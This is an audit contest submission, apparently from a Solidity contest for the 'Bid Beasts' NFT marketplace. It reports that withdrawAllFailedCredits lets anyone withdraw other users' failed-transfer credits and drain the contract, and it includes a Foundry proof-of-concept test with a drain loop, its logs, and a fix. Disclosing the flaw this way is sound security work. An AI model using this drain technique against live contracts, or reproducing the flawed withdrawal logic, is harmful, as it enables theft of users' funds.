Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Failed Transfer Credits Can Be Stolen and lead to contract Drainage

Rising Stars

Summary

A critical vulnerability exists in the withdrawAllFailedCredits function that allows any user to withdraw failed transfer credits belonging to other users. The function reads the credit amount from the _receiver parameter but incorrectly resets the credits for msg.sender, enabling unauthorized withdrawal of funds.

Description

The vulnerability stems from an inconsistency in the withdrawAllFailedCredits function implementation:

  1. The function reads the credit amount from failedTransferCredits[_receiver]

  2. However, it resets the credits for failedTransferCredits[msg.sender] = 0

  3. The funds are then transferred to msg.sender

This mismatch allows malicious actors to specify any address as _receiver to check their failed credit balance, while the attacker (msg.sender) receives the funds without their own credits being deducted.

The root cause occurs when the _payout function fails to transfer funds to a recipient (e.g., a contract without a fallback function), and these funds are stored in failedTransferCredits[recipient] for later withdrawal. However, the withdrawal mechanism is flawed and can be exploited.

Impact

  • Financial Loss: All users with failed transfer credits can have their funds stolen

  • Draining the Contract: the function reset failedTransferCredits[msg.sender] and read the amount from failedTransferCredits[_reciever] so caller can repeatedly withdraw failed credits till he drain the contract

ProofOfConcept

1. paste the following test in BidBeastsMarketPlaceTest.t.sol

function test_failedTransferCreditsCanBeTheft() public {
_mintNFT();
_listNFT();
console.log("====First Bidders is the contract (has no fallback)=========");
vm.deal(address(rejector), 100e18);
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
address highestBidder = market.getHighestBid(TOKEN_ID).bidder;
console.log("highestBidder %s ", highestBidder);
assertEq(highestBidder, address(rejector));
​
console.log("====Second Bidder outbids the first to trigger the refund=========");
uint256 secondBidAmount = (MIN_PRICE / 100) * (100 + market.S_MIN_BID_INCREMENT_PERCENTAGE()); // 5% increase
vm.prank(BIDDER_2);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
highestBidder = market.getHighestBid(TOKEN_ID).bidder;
console.log("highestBidder %s ", highestBidder);
assertEq(highestBidder, BIDDER_2);
console.log("==== Check the failedTransferCredits for the contract =======");
uint256 failedTransferCredits = market.failedTransferCredits(address(rejector));
console.log("failedTransferCredits %e ", failedTransferCredits);
assertEq(failedTransferCredits, MIN_PRICE + 1);
console.log("==== Any user can withdraw those Credits and drain the contract =======");
address malicuousActor = makeAddr("malicious");
​
uint256 MalicousActorBalanceBefore = malicuousActor.balance;
console.log("MalicousActorBalanceBefore: %e ", MalicousActorBalanceBefore);
uint256 marketBalanceBefore = address(market).balance;
console.log("marketBalanceBefore: %e ", marketBalanceBefore);
while (address(market).balance > MIN_PRICE) {
vm.prank(malicuousActor);
market.withdrawAllFailedCredits(address(rejector));
}
uint256 MalicousActorBalanceAfter = malicuousActor.balance;
console.log("MalicousActorBalanceAfer: %e ", MalicousActorBalanceAfter);
uint256 marketBalanceAfter = address(market).balance;
console.log("marketBalanceAfter: %e ", marketBalanceAfter);
}

Run it via forge test --mt test_failedTransferCreditsCanBeTheft -vvv

Logs:
====First Bidders is the contract (has no fallback)=========
highestBidder 0x2e234DAe75C793f67A35089C9d99245E1C58470b
====Second Bidder outbids the first to trigger the refund=========
highestBidder 0x0000000000000000000000000000000000000004
==== Check the failedTransferCredits for the contract =======
failedTransferCredits 1.000000000000000001e18
==== Any user can withdraw those Credits and drain the contract =======
MalicousActorBalanceBefore: 0e0
marketBalanceBefore: 2.050000000000000001e18
MalicousActorBalanceAfer: 2.000000000000000002e18
marketBalanceAfter: 4.9999999999999999e16
​

Mitigation

  • Refactor withdrawAllFailedCredits to make it read and reset the failedTransferCredits from msg.sender and transfer to _receiver

function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!